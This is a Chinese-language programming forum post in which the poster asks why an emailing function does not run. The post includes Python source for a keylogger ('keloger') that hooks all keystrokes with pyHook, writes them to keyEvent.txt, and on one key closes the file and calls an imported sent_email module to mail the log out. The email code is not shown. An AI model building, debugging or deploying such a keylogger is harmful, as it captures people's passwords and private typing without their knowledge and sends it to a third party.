我有下面的代码以及与文件一起发送电子邮件的代码,因此通过从库中导入它,我想在文件关闭后和程序退出之前执行它但它没有发生我尝试到处搜索,似乎没有一个钉了它。两个代码(keloger 和 sent_email)分别工作,因此通过从 shell 执行 sent_email 它发送文件而不是从内部模块。
任何帮助将不胜感激
import pythoncom
import pyHook
import sent_email
log = ""
logpath = "keyEvent.txt"
openfile = open(logpath, "w")
openfile.write("")
def OnKeyboardEvent(event):
try:
global log
if event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 8:
log = "[Backspace]"
elif event.Ascii == 15:
openfile.close()
sent_email.main()
exit()
elif event.Ascii == 13:
log = "\n"
elif event.Ascii == 0:
log = ""
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
while True:
pythoncom.PumpMessages()
但是,如果我在 openfile.write(log) 之后移动 sent_email.main() 它会在文件关闭之前发送电子邮件和附件?